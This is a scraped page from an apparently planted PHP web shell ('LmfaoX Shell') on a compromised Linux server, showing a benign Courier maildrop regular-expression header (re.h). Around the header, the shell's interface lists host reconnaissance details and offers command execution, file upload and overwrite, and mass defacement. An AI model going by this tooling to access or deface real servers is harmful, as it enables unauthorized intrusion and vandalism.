ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.72 GB of 70.42 GB (36.52%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ maildrop/ - drwxrwxrwx

Directory:
Viewing file:     re.h (2.85 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef    re_h
#define    re_h


#include    "config.h"
#include    <sys/types.h>
#include    "funcs.h"
#include    "reeval.h"

class ReMatch;

///////////////////////////////////////////////////////////////////////////
//
//  The Re class represents a regular expression.   The regular expression
//  is translated into a non-deterministic automaton, stored as a list
//  of RegExpNodes.
//
//  Then, one or more strings are matched against the regular expression.
//
//  The Re object may dynamically allocate another Re object in order to
//  implement the ! operator.  Each ! operator introduces a dynamically-
//  allocated Re object, which contains the next chained regular expression.
//  Another ! operator causes another object to be allocated.
//
//  The ^ and $ anchors are implemented here.  The ABSENCE of a ^ anchor
//  causes a dummy "[.\n]*" expression to be created in the first Re object,
//  with the real expression being parsed in the 2nd Re object.
//
//  When a string is matched against a regular expression, when the current
//  state includes a FINAL state, and there is a chained Re object, the
//  remainder of the string gets matched against the chained Re object.
//  If the chained matched succeeds, the entire match succeeds, otherwise,
//  we continue matching the original string.
//
//  If a match is succesfull, MatchCount() may be called to return the number
//  of characters that were matched.  If an ! operator is used, the optional
//  argument to MatchCount(), if not null, can be used to call MatchCount()
//  to return the count that the next expression matched.
//
///////////////////////////////////////////////////////////////////////////

class    RegExpNode;

class Re {

    Re    *chainedre;        // Chained regular expression
    Re    *prevre;
    RegExpNode *nodes;        // Singly-linked list of nodes
    RegExpNode *first;        // Starting node
    RegExpNode *final;        // Final node
    unsigned nextid;        // When creating, next ID to assign

    RegExpNode    *allocnode();
    const    char *expr, *origexpr;

    // When matching:
    int    matched;
    off_t matchedpos;
    ReEval    *curstate, *nextstate;
    unsigned final_id;

    int    curchar() { return ((int)(unsigned char)*expr); }
    void    nextchar() { ++expr; }
    int    casesensitive;
    int    matchFull;
    int    isCaret;
    int    isDummy;
public:
    Re();
    ~Re();

    int Compile(const char *, int, int &);
            // Compile regular expression
private:
    int CompileS(const char *, int, int &);


    void init();
    RegExpNode **CompileAtom(RegExpNode **);
    RegExpNode **CompileAtomString(RegExpNode **);
    RegExpNode **CompileOrClause(RegExpNode **);
    RegExpNode **CompileElement(RegExpNode **);
    void is_sets(RegExpNode *);

    int    parsechar();

// Evaluation

    ReEval    state1, state2;
    unsigned charsmatched;
public:
    int    Match(ReMatch &);
    unsigned MatchCount(Re **p =0) {
                    if (p) *p=chainedre;
                    return (charsmatched); }
    int    IsDummy()    { return (isDummy); }
    int    IsAnchorStart()    { return (isCaret); }
} ;

#endif
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2209 seconds